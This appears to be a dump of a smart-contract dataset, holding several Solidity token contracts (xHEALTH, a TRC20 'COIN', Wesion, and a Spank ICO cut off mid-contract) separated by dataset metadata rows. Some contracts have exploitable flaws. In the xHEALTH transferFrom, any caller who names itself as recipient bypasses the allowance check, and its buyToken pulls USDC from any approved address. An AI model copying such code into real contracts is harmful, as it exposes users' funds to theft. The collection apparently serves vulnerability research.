_USDC = IERC20(0xB97EF9Ef8734C71904D8002F8b6Bc66Dd9c48a6E);
_approve(owner(), address(this), ~uint256(0));
emit Transfer(address(0), msg.sender, _totalSupply);
}
function setTokenPrice(uint256 _price) public onlyOwner {
pricePerToken = _price;
}
function includeInWhitelist(address _addr) public onlyOwner {
isInWhitelist[_addr] = true;
}
function excludedFromWhitelist(address _addr) public onlyOwner {
isInWhitelist[_addr] = false;
}
function tooglePresale(bool state) public onlyOwner {
isPresale = state;
}
function toogleSale(bool state) public onlyOwner {
isInSale = state;
}
function decimals() external pure returns (uint8) {
return _decimals;
}
function symbol() external pure returns (string memory) {
return _symbol;
}
function name() external pure returns (string memory) {
return _name;
}
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) external returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) external view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) external returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
_transfer(sender, recipient, amount);
if(msg.sender != recipient)
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "xHEALTH: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "xHEALTH: decreased allowance below zero"));
return true;
}
function buyToken(address buyer, uint256 amount) public {
require(isInSale == true, "xHEALTH: sale finished.");
require(_USDC.transferFrom(buyer, teamWallet, pricePerToken * amount) == true, "xHEALTH: usdc transfer failed.");
require(amount <= _balances[owner()], "xHEALTH: insufficient balance in owner.");
if(isPresale == true) {
require(isInWhitelist[buyer] == true, "xHEALTH: you can't buy token now.");
}
_transfer(owner(), buyer, amount);
}
function mint(uint256 amount) public onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
function burn(uint256 amount) public returns (bool) {
_burn(_msgSender(), amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "xHEALTH: transfer from the zero address");
require(recipient != address(0), "xHEALTH: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "xHEALTH: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "xHEALTH: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "xHEALTH: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "xHEALTH: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "xHEALTH: approve from the zero address");
require(spender != address(0), "xHEALTH: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "xHEALTH: burn amount exceeds allowance"));
}
}
| 103,267 | 14,153 |
d8ee315e97d7bb7c6565d5a4af92e3808a43838b7c6e62bdd0ff5cacdc20ab42
| 16,110 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TP/TPJq3Q59ps1AuGX7ADkt53czKGAWKUmPUR_COIN.sol
| 3,135 | 14,481 |
//SourceUnit: CACHE.sol
pragma solidity 0.5.8;
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address payable public owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address payable _newOwner) public onlyOwner {
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// ----------------------------------------------------------------------------
contract TRC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address payable from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract COIN is Owned, TRC20Interface{
using SafeMath for uint256;
string public constant version = 'TestBox 0.2';
string public name = 'COIN';
string public symbol = 'COIN';
uint256 public decimals = 18;
uint256 internal _totalSupply;
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowed;
mapping (address => Depositor) public depositor;
mapping (uint256 => mapping (uint256 =>Penalty)) public penalty;
struct Depositor{
uint256 amount;
uint256 time;
}
struct Penalty{
uint256 amount;
uint256 time;
uint256 deservers;
uint256 totalPenaltiesInThisIndex;
}
uint256 public feePot;
uint256 public reservedReward;
//uint256 public timeWait = 30 days;
uint256 public timeWait = 30 minutes; // for TestNet
uint256 startTime = now;
uint256 public constant initialSupply = 4e7; //40,000,000
event Withdraw(address indexed by, uint256 amount, uint256 fee, uint256 reward); // successful withdraw event
event Deposited(address indexed by, uint256 amount); // funds Deposited event
event PaidOwnerReward(uint256 amount);
constructor () public {
owner = address(msg.sender);
_totalSupply = initialSupply * 10 ** uint(decimals); // Update total supply
balances[owner] = _totalSupply; // Give the creator all initial tokens
emit Transfer(address(0),address(owner), _totalSupply);
}
function() external payable {
makeDeposit(msg.sender, msg.value);
}
function makeDeposit(address sender, uint256 amount) internal {
require(balances[sender] == 0);
require(amount > 0);
balances[sender] = balances[sender].add(amount.mul(1000)); // mint new tokens
_totalSupply = _totalSupply.add(amount.mul(1000)); // track the supply
emit Transfer(address(0), sender, amount.mul(1000)); // notify of the transfer event
depositor[sender].time = now;
depositor[sender].amount = amount;
emit Deposited(sender, amount);
}
function withdraw(address payable _sender, uint256 _tokens) internal {
uint256 amount = _tokens.div(1000);
uint256 reward = calculateReward(_tokens, _sender); // calculate reward of the sender based on actual deposit
if(depositor[_sender].time.add(timeWait) > now) // sender asked for withdraw before 30 days of purchase
amount = quickWithdraw(amount); // quick Withdraw will happen
require(_sender.send(amount + reward)); // transfer TRX plus earned reward to sender
feePot = feePot.sub(reward); // remove reward from feePot
emit Withdraw(_sender, amount, _tokens.div(1000).sub(amount), reward);
}
function quickWithdraw(uint256 _amount) internal returns (uint256) {
uint256 penaltyFee = calculateFee(_amount); // deduct 4% of the actual deposit as penalty fee
feePot = feePot.add((penaltyFee.mul(70).mul(100)).div(10000)); // add 70% of the penaltyFee to fee Pot to distribute later
reservedReward = reservedReward.add((penaltyFee.mul(30).mul(100)).div(10000)); // add 30% of the penaltyFee to reserves for owner
recordPenalty((penaltyFee.mul(70).mul(100)).div(10000), _amount); // record penalty fee
return _amount.sub(penaltyFee);
}
function recordPenalty(uint256 fee, uint256 _amount) internal {
uint TP = penalty[(now.sub(startTime)).div(timeWait)][0].totalPenaltiesInThisIndex;
if(_totalSupply.sub(balanceOf(owner)).sub(_amount.mul(1000)) == 0) { // no deservers
reservedReward = reservedReward.add(fee);
feePot = feePot.sub(fee);
}
else{
penalty[(now.sub(startTime)).div(timeWait)][TP] = Penalty(fee, now, _totalSupply.sub(balanceOf(owner)).sub(_amount.mul(1000)),TP+1);
penalty[(now.sub(startTime)).div(timeWait)][0].totalPenaltiesInThisIndex = TP+1;
}
}
function ownerReward() internal{
require(owner.send(reservedReward));
emit PaidOwnerReward(reservedReward);
reservedReward = reservedReward.sub(reservedReward);
}
function calculateReward(uint256 _amount, address _sender) internal view returns (uint256) {
uint256 reward = 0;
for (uint256 i= (depositor[_sender].time.sub(startTime)).div(timeWait);
i<= ((depositor[_sender].time.sub(startTime)).div(timeWait)).add(now.sub(depositor[_sender].time)).div(timeWait);
i++){
uint count = penalty[i][0].totalPenaltiesInThisIndex;
while(count != 0){
if(penalty[i][count].time >= depositor[_sender].time && penalty[i][count].time <= now){
if (feePot > 0) {
reward += ((penalty[i][count].amount).mul(_amount)).div(penalty[i][count].deservers); // assuming that if feePot > 0 then also totalSupply > 0
}
}
count = count.sub(1);
}
if(count == 0){
if(penalty[i][count].time >= depositor[_sender].time && penalty[i][count].time <= now){
if (feePot > 0) {
reward += ((penalty[i][count].amount).mul(_amount)).div(penalty[i][count].deservers); // assuming that if feePot > 0 then also totalSupply > 0
}
}
}
}
// if (feePot > 0) {
// }
return reward;
}
function calculateFee(uint256 _amount) public pure returns (uint256) {
uint256 feeRequired = (_amount.mul(4).mul(100)).div(10000); // 4%
return feeRequired;
}
function totalSupply() public view returns (uint){
return _totalSupply;
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
if(msg.sender == owner) { require(tokens >= 1e18);} // minimum tokens sent by owner sould be >= 1
require(to != address(0)); // receiver address should not be zero-address
require(balances[msg.sender] >= tokens); // sender must have sufficient tokens to transfer
uint256 bal1 = balances[address(this)];
balances[msg.sender] = balances[msg.sender].sub(tokens); // remove tokens from sender
require(balances[to] + tokens >= balances[to]); // if tokens are sent to any other wallet address
balances[to] = balances[to].add(tokens); // Transfer the tokens to "to" address
emit Transfer(msg.sender,to,tokens); // emit Transfer event to "to" address
if(to == address(this)){ // if tokens are sent to contract address
require(bal1 < balances[address(this)]);
if(depositor[msg.sender].time > 0){ // sender must be an actual depositor
withdraw(msg.sender, tokens); // perform withdraw
}
if (msg.sender == owner){
ownerReward();
}
balances[to] = balances[to].sub(tokens); // remove tokens from sender balance
_totalSupply = _totalSupply.sub(tokens); // remove sent tokens from totalSupply
emit Transfer(to, address(0), tokens); // emit Transfer event of burning
}
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address payable from, address to, uint tokens) public returns (bool success){
require(from != address(0));
require(to != address(0));
require(tokens <= allowed[from][msg.sender]); //check allowance
require(balances[from] >= tokens); // check if sufficient balance exist or not
if(to == address(this)){
if(from == owner)
require(tokens == 1e18);
}
uint256 bal1 = balances[address(this)];
balances[from] = balances[from].sub(tokens);
require(balances[to] + tokens >= balances[to]);
balances[to] = balances[to].add(tokens); // Transfer the tokens to "to" address
emit Transfer(from,to,tokens); // emit Transfer event to "to" address
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
if(to == address(this)){ // if tokens are sent to contract address
require(bal1 < balances[address(this)]);
if(depositor[from].time > 0){ // sender must be an actual depositor
withdraw(from, tokens); // perform withdraw
}
if (from == owner){
ownerReward();
}
balances[to] = balances[to].sub(tokens); // remove tokens from sender balance
_totalSupply = _totalSupply.sub(tokens); // remove sent tokens from totalSupply
emit Transfer(to, address(0), tokens); // emit Transfer event of burning
}
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success){
require(spender != address(0));
require(tokens <= balances[msg.sender]);
require(tokens >= 0);
require(allowed[msg.sender][spender] == 0 || tokens == 0);
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender,spender,tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
}
| 297,579 | 14,154 |
5f7fcab8baaa5c59d80ef59a5ec8a825522b20df784bc5f4b3378d71b2d8c8bb
| 19,367 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0x2c1564a74f07757765642acef62a583b38d5a213.sol
| 3,445 | 13,070 |
pragma solidity ^0.5.7;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b > 0);
uint256 c = a / b;
assert(a == b * c + a % b);
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
interface IERC20{
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable {
address internal _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(msg.sender == _owner);
_;
}
function transferOwnership(address newOwner) external onlyOwner {
require(newOwner != address(0));
_owner = newOwner;
emit OwnershipTransferred(_owner, newOwner);
}
function rescueTokens(address tokenAddr, address receiver, uint256 amount) external onlyOwner {
IERC20 _token = IERC20(tokenAddr);
require(receiver != address(0));
uint256 balance = _token.balanceOf(address(this));
require(balance >= amount);
assert(_token.transfer(receiver, amount));
}
function withdrawEther(address payable to, uint256 amount) external onlyOwner {
require(to != address(0));
uint256 balance = address(this).balance;
require(balance >= amount);
to.transfer(amount);
}
}
contract Pausable is Ownable {
bool private _paused;
event Paused(address account);
event Unpaused(address account);
constructor () internal {
_paused = false;
}
function paused() public view returns (bool) {
return _paused;
}
modifier whenNotPaused() {
require(!_paused);
_;
}
modifier whenPaused() {
require(_paused);
_;
}
function pause() external onlyOwner whenNotPaused {
_paused = true;
emit Paused(msg.sender);
}
function unpause() external onlyOwner whenPaused {
_paused = false;
emit Unpaused(msg.sender);
}
}
contract Wesion is Ownable, Pausable, IERC20 {
using SafeMath for uint256;
string private _name = "Wesion";
string private _symbol = "Wesion";
uint8 private _decimals = 6; // 6 decimals
uint256 private _cap = 35000000000000000; // 35 billion cap, that is 35000000000.000000
uint256 private _totalSupply;
mapping (address => bool) private _minter;
event Mint(address indexed to, uint256 value);
event MinterChanged(address account, bool state);
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
bool private _allowWhitelistRegistration;
mapping(address => address) private _referrer;
mapping(address => uint256) private _refCount;
event WesionSaleWhitelistRegistered(address indexed addr, address indexed refAddr);
event WesionSaleWhitelistTransferred(address indexed previousAddr, address indexed _newAddr);
event WesionSaleWhitelistRegistrationEnabled();
event WesionSaleWhitelistRegistrationDisabled();
uint256 private _whitelistRegistrationValue = 1001000000; // 1001 Wesion, 1001.000000
uint256[15] private _whitelistRefRewards = [ // 100% Reward
301000000, // 301 Wesion for Level.1
200000000, // 200 Wesion for Level.2
100000000, // 100 Wesion for Level.3
100000000, // 100 Wesion for Level.4
100000000, // 100 Wesion for Level.5
50000000, // 50 Wesion for Level.6
40000000, // 40 Wesion for Level.7
30000000, // 30 Wesion for Level.8
20000000, // 20 Wesion for Level.9
10000000, // 10 Wesion for Level.10
10000000, // 10 Wesion for Level.11
10000000, // 10 Wesion for Level.12
10000000, // 10 Wesion for Level.13
10000000, // 10 Wesion for Level.14
10000000 // 10 Wesion for Level.15
];
event Donate(address indexed account, uint256 amount);
event WithdrawToken(address indexed from, address indexed to, uint256 value);
constructor() public {
_minter[msg.sender] = true;
_allowWhitelistRegistration = true;
emit WesionSaleWhitelistRegistrationEnabled();
_referrer[msg.sender] = msg.sender;
emit WesionSaleWhitelistRegistered(msg.sender, msg.sender);
}
function () external payable {
emit Donate(msg.sender, msg.value);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function cap() public view returns (uint256) {
return _cap;
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public whenNotPaused returns (bool) {
if (_allowWhitelistRegistration && value == _whitelistRegistrationValue
&& inWhitelist(to) && !inWhitelist(msg.sender) && isNotContract(msg.sender)) {
// Register whitelist for Wesion-Sale
_regWhitelist(msg.sender, to);
return true;
} else {
// Normal Transfer
_transfer(msg.sender, to, value);
return true;
}
}
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue));
return true;
}
function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) {
require(_allowed[from][msg.sender] >= value);
_transfer(from, to, value);
_approve(from, msg.sender, _allowed[from][msg.sender].sub(value));
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _approve(address owner, address spender, uint256 value) internal {
require(owner != address(0));
require(spender != address(0));
_allowed[owner][spender] = value;
emit Approval(owner, spender, value);
}
modifier onlyMinter() {
require(_minter[msg.sender]);
_;
}
function isMinter(address account) public view returns (bool) {
return _minter[account];
}
function setMinterState(address account, bool state) external onlyOwner {
_minter[account] = state;
emit MinterChanged(account, state);
}
function mint(address to, uint256 value) public onlyMinter returns (bool) {
_mint(to, value);
return true;
}
function _mint(address account, uint256 value) internal {
require(_totalSupply.add(value) <= _cap);
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Mint(account, value);
emit Transfer(address(0), account, value);
}
modifier onlyInWhitelist() {
require(_referrer[msg.sender] != address(0));
_;
}
function allowWhitelistRegistration() public view returns (bool) {
return _allowWhitelistRegistration;
}
function inWhitelist(address account) public view returns (bool) {
return _referrer[account] != address(0);
}
function referrer(address account) public view returns (address) {
return _referrer[account];
}
function refCount(address account) public view returns (uint256) {
return _refCount[account];
}
function disableWesionSaleWhitelistRegistration() external onlyOwner {
_allowWhitelistRegistration = false;
emit WesionSaleWhitelistRegistrationDisabled();
}
function _regWhitelist(address account, address refAccount) internal {
_refCount[refAccount] = _refCount[refAccount].add(1);
_referrer[account] = refAccount;
emit WesionSaleWhitelistRegistered(account, refAccount);
// Whitelist Registration Referral Reward
_transfer(msg.sender, address(this), _whitelistRegistrationValue);
address cursor = account;
uint256 remain = _whitelistRegistrationValue;
uint256 _rebackToContract = 0;
for(uint i = 0; i < _whitelistRefRewards.length; i++) {
address receiver = _referrer[cursor];
if (cursor != receiver) {
if (_refCount[receiver] > i) {
_transfer(address(this), receiver, _whitelistRefRewards[i]);
remain = remain.sub(_whitelistRefRewards[i]);
}
else {
_rebackToContract = _rebackToContract.add(_whitelistRefRewards[i]);
remain = remain.sub(_whitelistRefRewards[i]);
continue;
}
} else {
_rebackToContract = _rebackToContract.add(remain);
break;
}
cursor = _referrer[cursor];
}
if (_rebackToContract > 0) {
_transfer(address(this), address(this), _rebackToContract);
}
}
function transferWhitelist(address account) external onlyInWhitelist {
require(isNotContract(account));
_refCount[account] = _refCount[msg.sender];
_refCount[msg.sender] = 0;
_referrer[account] = _referrer[msg.sender];
_referrer[msg.sender] = address(0);
emit WesionSaleWhitelistTransferred(msg.sender, account);
}
function isNotContract(address addr) internal view returns (bool) {
uint size;
assembly {
size := extcodesize(addr)
}
return size == 0;
}
function calculateTheRewardOfDirectWhitelistRegistration(address whitelistedAccount) external view returns (uint256 reward) {
if (!inWhitelist(whitelistedAccount)) {
return 0;
}
address cursor = whitelistedAccount;
uint256 remain = _whitelistRegistrationValue;
for(uint i = 1; i < _whitelistRefRewards.length; i++) {
address receiver = _referrer[cursor];
if (cursor != receiver) {
if (_refCount[receiver] > i) {
remain = remain.sub(_whitelistRefRewards[i]);
}
} else {
reward = reward.add(remain);
break;
}
cursor = _referrer[cursor];
}
return reward;
}
function withdrawToken(address _to, uint256 _value) public onlyOwner {
require (_value > 0);
require (_to != address(0));
_transfer(address(this), _to, _value);
emit WithdrawToken(address(this), _to, _value);
}
}
| 215,371 | 14,155 |
3b1bd1dd6417361a3d716a04fd595dfe8318677724241721a8ec7ac351f6a1d8
| 11,959 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0x1eab19e6623e8cbcafc252e275f5b51c27656faf.sol
| 2,961 | 11,156 |
pragma solidity ^0.4.11;
contract ERC20 {
//Sets events and functions for ERC20 token
event Approval(address indexed _owner, address indexed _spender, uint _value);
event Transfer(address indexed _from, address indexed _to, uint _value);
function allowance(address _owner, address _spender) constant returns (uint remaining);
function approve(address _spender, uint _value) returns (bool success);
function balanceOf(address _owner) constant returns (uint balance);
function transfer(address _to, uint _value) returns (bool success);
function transferFrom(address _from, address _to, uint _value) returns (bool success);
}
contract Owned {
//Public variable
address public owner;
//Sets contract creator as the owner
function Owned() {
owner = msg.sender;
}
//Sets onlyOwner modifier for specified functions
modifier onlyOwner {
require(msg.sender == owner);
_;
}
//Allows for transfer of contract ownership
function transferOwnership(address newOwner) onlyOwner {
owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function div(uint256 a, uint256 b) internal returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
function mul(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function sub(uint256 a, uint256 b) internal returns (uint256) {
assert(b <= a);
return a - b;
}
}
contract Spank is ERC20, Owned {
//Applies SafeMath library to uint256 operations
using SafeMath for uint256;
//Public variables
string public name;
string public symbol;
uint256 public decimals;
uint256 public initialSupply;
uint256 public totalSupply;
//Variables
uint256 multiplier;
//Creates arrays for balances
mapping (address => uint256) balance;
mapping (address => mapping (address => uint256)) allowed;
//Creates modifier to prevent short address attack
modifier onlyPayloadSize(uint size) {
if(msg.data.length < size + 4) revert();
_;
}
//Constructor
function Spank(string tokenName, string tokenSymbol, uint8 decimalUnits, uint256 decimalMultiplier, uint256 initialAmount) {
name = tokenName;
symbol = tokenSymbol;
decimals = decimalUnits;
multiplier = decimalMultiplier;
initialSupply = initialAmount;
totalSupply = initialSupply;
}
//Provides the remaining balance of approved tokens from function approve
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
//Allows for a certain amount of tokens to be spent on behalf of the account owner
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
//Returns the account balance
function balanceOf(address _owner) constant returns (uint256 remainingBalance) {
return balance[_owner];
}
//Allows contract owner to mint new tokens, prevents numerical overflow
function mintToken(address target, uint256 mintedAmount) onlyOwner returns (bool success) {
require(mintedAmount > 0);
uint256 addTokens = mintedAmount;
balance[target] += addTokens;
totalSupply += addTokens;
Transfer(0, target, addTokens);
return true;
}
//Sends tokens from sender's account
function transfer(address _to, uint256 _value) onlyPayloadSize(2 * 32) returns (bool success) {
if ((balance[msg.sender] >= _value) && (balance[_to] + _value > balance[_to])) {
balance[msg.sender] -= _value;
balance[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else {
return false;
}
}
//Transfers tokens from an approved account
function transferFrom(address _from, address _to, uint256 _value) onlyPayloadSize(3 * 32) returns (bool success) {
if ((balance[_from] >= _value) && (allowed[_from][msg.sender] >= _value) && (balance[_to] + _value > balance[_to])) {
balance[_to] += _value;
balance[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else {
return false;
}
}
}
contract SpankICO is Owned, Spank {
//Applies SafeMath library to uint256 operations
using SafeMath for uint256;
//Public Variables
address public multiSigWallet;
uint256 public amountRaised;
uint256 public dividendPayment;
uint256 public numberOfRecordEntries;
uint256 public numberOfTokenHolders;
uint256 public startTime;
uint256 public stopTime;
uint256 public hardcap;
uint256 public price;
//Variables
address[] recordTokenHolders;
address[] tokenHolders;
bool crowdsaleClosed = true;
mapping (address => uint256) recordBalance;
mapping (address => uint256) recordTokenHolderID;
mapping (address => uint256) tokenHolderID;
string tokenName = "Spank";
string tokenSymbol = "SPNK";
uint256 initialTokens = 20000000000000000;
uint256 multiplier = 100000000;
uint8 decimalUnits = 8;
//Initializes the token
function SpankICO()
Spank(tokenName, tokenSymbol, decimalUnits, multiplier, initialTokens) {
balance[msg.sender] = initialTokens;
Transfer(0, msg.sender, initialTokens);
multiSigWallet = msg.sender;
hardcap = 30000000000000000;
setPrice(3000);
dividendPayment = 50000000000000;
recordTokenHolders.length = 2;
tokenHolders.length = 2;
tokenHolders[1] = msg.sender;
numberOfTokenHolders++;
}
//Fallback function creates tokens and sends to investor when crowdsale is open
function () payable {
require((!crowdsaleClosed)
&& (now < stopTime)
&& (totalSupply.add(msg.value.mul(getPrice()).mul(multiplier).div(1 ether)) <= hardcap));
address recipient = msg.sender;
amountRaised = amountRaised.add(msg.value.div(1 ether));
uint256 tokens = msg.value.mul(getPrice()).mul(multiplier).div(1 ether);
totalSupply = totalSupply.add(tokens);
balance[recipient] = balance[recipient].add(tokens);
require(multiSigWallet.send(msg.value));
Transfer(0, recipient, tokens);
if (tokenHolderID[recipient] == 0) {
addTokenHolder(recipient);
}
}
//Adds an address to the recorrdEntry list
function addRecordEntry(address account) internal {
if (recordTokenHolderID[account] == 0) {
recordTokenHolderID[account] = recordTokenHolders.length;
recordTokenHolders.length++;
recordTokenHolders[recordTokenHolders.length.sub(1)] = account;
numberOfRecordEntries++;
}
}
//Adds an address to the tokenHolders list
function addTokenHolder(address account) returns (bool success) {
bool status = false;
if (balance[account] != 0) {
tokenHolderID[account] = tokenHolders.length;
tokenHolders.length++;
tokenHolders[tokenHolders.length.sub(1)] = account;
numberOfTokenHolders++;
status = true;
}
return status;
}
//Allows the owner to create an record of token owners and their balances
function createRecord() internal {
for (uint i = 0; i < (tokenHolders.length.sub(1)); i++) {
address holder = getTokenHolder(i);
uint256 holderBal = balanceOf(holder);
addRecordEntry(holder);
recordBalance[holder] = holderBal;
}
}
//Returns the current price of the token for the crowdsale
function getPrice() returns (uint256 result) {
return price;
}
//Returns record contents
function getRecordBalance(address record) constant returns (uint256) {
return recordBalance[record];
}
//Returns the address of a specific index value
function getRecordHolder(uint256 index) constant returns (address) {
return address(recordTokenHolders[index.add(1)]);
}
//Returns time remaining on crowdsale
function getRemainingTime() constant returns (uint256) {
return stopTime;
}
//Returns the address of a specific index value
function getTokenHolder(uint256 index) constant returns (address) {
return address(tokenHolders[index.add(1)]);
}
//Pays out dividends to tokens holders of record, based on 500,000 token payment
function payOutDividend() onlyOwner returns (bool success) {
createRecord();
uint256 volume = totalSupply;
for (uint i = 0; i < (tokenHolders.length.sub(1)); i++) {
address payee = getTokenHolder(i);
uint256 stake = volume.div(dividendPayment.div(multiplier));
uint256 dividendPayout = balanceOf(payee).div(stake).mul(multiplier);
balance[payee] = balance[payee].add(dividendPayout);
totalSupply = totalSupply.add(dividendPayout);
Transfer(0, payee, dividendPayout);
}
return true;
}
//Sets the multisig wallet for a crowdsale
function setMultiSigWallet(address wallet) onlyOwner returns (bool success) {
multiSigWallet = wallet;
return true;
}
//Sets the token price
function setPrice(uint256 newPriceperEther) onlyOwner returns (uint256) {
require(newPriceperEther > 0);
price = newPriceperEther;
return price;
}
//Allows owner to start the crowdsale from the time of execution until a specified stopTime
